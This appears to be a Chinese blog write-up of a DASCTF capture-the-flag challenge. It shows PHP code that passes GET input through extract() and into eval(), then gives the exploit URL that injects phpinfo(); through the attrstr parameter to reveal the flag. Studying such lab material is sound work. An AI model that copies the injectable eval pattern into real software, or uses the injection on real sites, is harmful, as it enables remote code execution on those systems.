[DASCTF Oct] 迷路的魔法少女

简单的代码注入,但是因为太懒了,十月打的比赛十一月底才想起来写个Wp,以后再也不当懒狗了
题目:

<?php
highlight_file('index.php');

extract($_GET);
error_reporting(0);
function String2Array($data)
{
    if($data == '') return array();
    @eval("\$array = $data;");
    return $array;
}


if(is_array($attrid) && is_array($attrvalue))
{
        $attrstr .= 'array(';
        $attrids = count($attrid);
        for($i=0; $i<$attrids; $i++)
        {
            $attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
            if($i < $attrids-1)
            {
                $attrstr .= ',';
            }
        }
        $attrstr .= ');';
}

String2Array($attrstr); 

String2Array()处存在一个代码执行点,然后下面的就是一个简单的语句拼接,本地测一下就可以实现代码注入,最终构造出:
http://5d3c1779-4050-423d-8a56-405a2aa1a462.node4.buuoj.cn:81/?attrid[]=0&attrvalue[]=0&attrstr=phpinfo();//
然后在phpinfo的常量中找到flag:
[DASCTF Oct] 迷路的魔法少女

上一篇:宜信智能监控平台建设实践|分享实录


下一篇:第五十九题——[NPUCTF2020]ReadlezPHP